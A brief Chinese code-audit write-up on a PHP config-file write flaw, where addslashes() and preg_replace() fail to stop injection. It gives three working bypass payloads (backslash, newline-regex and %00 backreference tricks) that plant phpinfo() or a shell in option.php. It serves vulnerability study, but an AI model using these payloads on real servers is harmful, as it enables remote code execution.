小密圈《代码审计》中看到P神发的“经典漏洞”,关于写配置文件这个功能点。
问题代码
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);
?>
输入经过addslashes()处理过之后经匹配替换指定文件内容。
解法1 利用反斜线
输入\';phpinfo();//
\'经过addslashes()之后变为\\\',随后preg_replace会将两个连续的\合并为一个,也就是将\\\'转为\\',这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。
看来是preg_replace函数特性。经测试,该函数会针对反斜线进行转义,即成对出现的两个反斜线合并为一个,以前不知道这个点(跟进)。
本地测试环境:
PHP 5.4.45 + Windows + Apache
解法2 利用正则
过程分为两个请求:
第一次传入
aaa';phpinfo();%0a//
此时文件内容
$option='aaa\';phpinfo();
//';
第二次传入随意字串,如bbb
正则代码.*会将匹配到的aaa\替换为bbb
此时文件内容(成功写入恶意代码)
$option='bbb';phpinfo();
//';
解法3 利用%00
仍然分为两步。
第一次传入;phpinfo();
此时文件内容为:
$option=';phpinfo();';
第二次传入%00
%00被addslashes()转为\0,而\0在preg_replace函数中会被替换为“匹配到的全部内容”,此时preg_replace要执行的代码如下
preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
也就是
preg_replace('|\$option=\'.*\';|',"\$option='$option=';phpinfo();';';",$file);
成功引入单引号闭合,最终写入shell
$option='\$option=';phpinfo();';';
Ref
小密圈:《代码审计》
@Dlive
@L3m0n
@该隐
@phith0n